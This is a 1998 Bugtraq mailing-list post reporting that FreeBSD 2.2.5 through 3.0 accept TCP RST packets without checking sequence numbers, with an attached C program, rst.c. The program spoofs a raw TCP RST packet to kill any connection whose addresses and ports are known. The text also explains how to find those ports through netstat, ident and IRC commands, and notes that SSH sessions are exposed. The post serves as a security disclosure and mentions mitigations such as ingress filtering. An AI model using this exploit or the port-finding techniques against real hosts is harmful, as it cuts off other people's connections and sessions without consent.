Bugtraq mailing list archives

FreeBSD's RST validation


From: tristan+-eyixqg () ETHEREAL NET (Tristan Horn)
Date: Sun, 30 Aug 1998 17:21:41 -0700


--ZRyEpB+iJ+qUx0kp
Content-Type: multipart/mixed; boundary=qGV0fN9tzfkG3CxV


--qGV0fN9tzfkG3CxV
Content-Type: text/plain; charset=us-ascii

RFC 793, pages 36-39 (chapter 3.5) describes closing connections with
TCP.  Page 37 is of particular interest:

  Reset Processing

  In all states except SYN-SENT, all reset (RST) segments are validated
  by checking their SEQ-fields.  A reset is valid if its sequence number
  is in the window.  In the SYN-SENT state (a RST received in response
  to an initial SYN), the RST is acceptable if the ACK field
  acknowledges the SYN.

Unfortunately, FreeBSD (2.2.5, 2.2.6, 2.2.7, 3.0) does not appear to
validate RST segments to this extent.  In other words, only the packets'
IP/port pairs are checked.

In my limited testing (oddly enough, not many people would consent to
DoS), Solaris, OSF/1, Linux and Windows 98 appear to conform to RFC 793
in this regard.  I have not yet been able to check NetBSD, OpenBSD, BSDI,
etc.

This problem gets worse when you bring it to multi-user FreeBSD boxes
where netstat, systat -net, lsof (if improperly configured) and the like
can be used to get all IP/port pairs in use.  I suggest (especially to
BEST) that these be chmod g-s or o-x'd until the problem is resolved.

In cases where you only have the port number for one side of the
connection, exploiting the vulnerability is still fairly trivial.  In
many (most?) cases, port 0 bind()s will start you off at port 1024 and
increment by one from there.  Kudos to the OSes that already use random
or pseudorandom source ports...

If the target is an IRC server or uses TCP wrappers, chances are that
you can telnet to it and you'll get a connection back to your ident port.
This will give you the high port.

IRC in particular will probably be affected, due to the ease of getting
addresses and such.  /stats L even used to give you the port numbers
for users, servers and listening sockets, but I believe this was fixed
in /hybrid a while back, and then +CS.  /stats c should just be disabled
for non-opers since it lets people find the port # for autoconnects.

SSH and similar secure sessions are in great danger because ports are
manually bound to, starting at 1023 and decrementing from there.

BSD exploit code is attached (thanks to those who made land and ported
it!).  Note that 'dstaddr' is where the RST packet is actually sent, so
it must be the address of a buggy machine.

This (like /many/ other attacks) would be much less of a concern if more
people did ingress filtering.

TS4 rocks!

Tris

--qGV0fN9tzfkG3CxV
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="rst.c"

/* rst.c -- based on:
     land.c by m3lt, FLC
     crashes a win95 box
     Ported by blast and jerm to 44BSD*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>


/* #include <netinet/ip_tcp.h> */
/* #include <netinet/protocols.h> */

struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

int main(int argc,char * * argv)
{
        struct sockaddr_in src, dst;
        struct hostent * hoste;
        int sock,foo;
        char buffer[40];
        struct ip * ipheader=(struct ip *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
        struct pseudohdr pseudoheader;

        fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n");

        if(argc<5)
        {
                fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]);
                return(-1);
        }

        bzero(&src,sizeof(struct sockaddr_in));
        bzero(&dst,sizeof(struct sockaddr_in));
        src.sin_family=AF_INET;
        dst.sin_family=AF_INET;

        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length);
        else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[1]);
                return(-1);
        }

        if((src.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[2]);
                return(-1);
        }

        if((hoste=gethostbyname(argv[3]))!=NULL)
                bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length);
        else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[3]);
                return(-1);
        }

        if((dst.sin_port=htons(atoi(argv[4])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[4]);
                return(-1);
        }

        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket\n");
                return(-1);
        }

        foo=1;
        if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
        {
                fprintf(stderr,"couldn't set raw header on socket\n");
                return(-1);
        }

        bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
        ipheader->ip_v=4;
        ipheader->ip_hl=sizeof(struct ip)/4;
        ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
        ipheader->ip_id=htons(0xF1C);
        ipheader->ip_ttl=255;
        ipheader->ip_p=IPPROTO_TCP;
        ipheader->ip_src=src.sin_addr;
        ipheader->ip_dst=dst.sin_addr;

        tcpheader->th_sport=src.sin_port;
        tcpheader->th_dport=dst.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
        tcpheader->th_flags=TH_RST;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr=src.sin_addr;
        pseudoheader.daddr=dst.sin_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

        if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct 
sockaddr_in))==-1)
        {
                fprintf(stderr,"couldn't send packet,%d\n",errno);
                return(-1);
        }

        fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]);

        close(sock);
        return(0);
}

--qGV0fN9tzfkG3CxV--

--ZRyEpB+iJ+qUx0kp
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
MessageID: ZLVZYONH0cJKtNYnqRZ1+/WhbS1ONqPP

iQA/AwUBNenslZ+W2A/YGO/2EQI2tACfdG/9Vm5lxFiQc5yC88/qoM5+2doAnibt
LafqKvwK7rB+Xw7H2QlXWsJn
=Mll3
-----END PGP SIGNATURE-----

--ZRyEpB+iJ+qUx0kp--



Current thread: